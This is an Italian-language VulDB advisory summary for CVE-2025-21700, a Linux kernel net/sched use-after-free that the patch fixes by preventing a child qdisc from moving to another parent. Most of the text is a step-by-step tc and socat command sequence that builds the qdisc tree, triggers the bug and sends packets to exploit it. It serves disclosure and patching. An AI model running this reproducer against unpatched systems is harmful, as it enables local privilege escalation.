CVE-2025-21700 in Linux
Riassunto
di VulDB • 18/06/2026
Nel kernel Linux, è stata risolta la seguente vulnerabilità:
net: sched: Impedire lo spostamento di un qdisc figlio da un genitore a un altro
Lion Ackermann ha creato una condizione Use-After-Free (UAF) che può essere sfruttata per l'escalation dei privilegi con il seguente script.
Passaggio 1. creare un qdisc radice tc qdisc add dev lo root handle 1:0 drr
passaggio2. una classe per l'aggregazione di pacchetti al fine di dimostrare la UAF tc class add dev lo classid 1:1 drr
passaggio3. una classe per il nesting (annidamento) tc class add dev lo classid 1:2 drr
passaggio4. una classe a cui agganciare (graft) un qdisc tc class add dev lo classid 1:3 drr
passaggio5. tc qdisc add dev lo parent 1:1 handle 2:0 plug limit 1024
passaggio6. tc qdisc add dev lo parent 1:2 handle 3:0 drr
passaggio7. tc class add dev lo classid 3:1 drr
passaggio8. tc qdisc add dev lo parent 3:1 handle 4:0 pfifo
passaggio9. visualizzare la struttura delle classi/qdisc
tc class ls dev lo class drr 1:1 root leaf 2: quantum 64Kb class drr 1:2 root leaf 3: quantum 64Kb class drr 3:1 root leaf 4: quantum 64Kb
tc qdisc ls qdisc drr 1: dev lo root refcnt 2 qdisc plug 2: dev lo parent 1:1 qdisc pfifo 4: dev lo parent 3:1 limit 1000p qdisc drr 3: dev lo parent 1:2
passaggio10. attivare il bug <=== prevenuto da questa patch tc qdisc replace dev lo parent 1:3 handle 4:0
passaggio 11. visualizzare nuovamente i qdisc/classi
tc class ls dev lo class drr 1:1 root leaf 2: quantum 64Kb class drr 1:2 root leaf 3: quantum 64Kb class drr 1:3 root leaf 4: quantum 64Kb class drr 3:1 root leaf 4: quantum 64Kb
tc qdisc ls qdisc drr 1: dev lo root refcnt 2 qdisc plug 2: dev lo parent 1:1 qdisc pfifo 4: dev lo parent 3:1 refcnt 2 limit 1000p qdisc drr 3: dev lo parent 1:2
Osservare che a) il genitore per 4:0 non cambia nonostante la richiesta di replace (sostituzione). Deve esserci un solo genitore. b) il refcount è aumentato di due unità per 4:0 e c) sia la classe 1:3 che la 3:1 puntano ad essa.
Passaggio 12. inviare un pacchetto al plug echo "" | socat -u STDIN UDP4-DATAGRAM:127.0.0.1:8888,priority=$((0x10001)) passaggio13. inviare un pacchetto alla fifo agganciata (grafted) echo "" | socat -u STDIN UDP4-DATAGRAM:127.0.0.1:8888,priority=$((0x10003))
If you want to get best quality of vulnerability data, you may have to visit VulDB.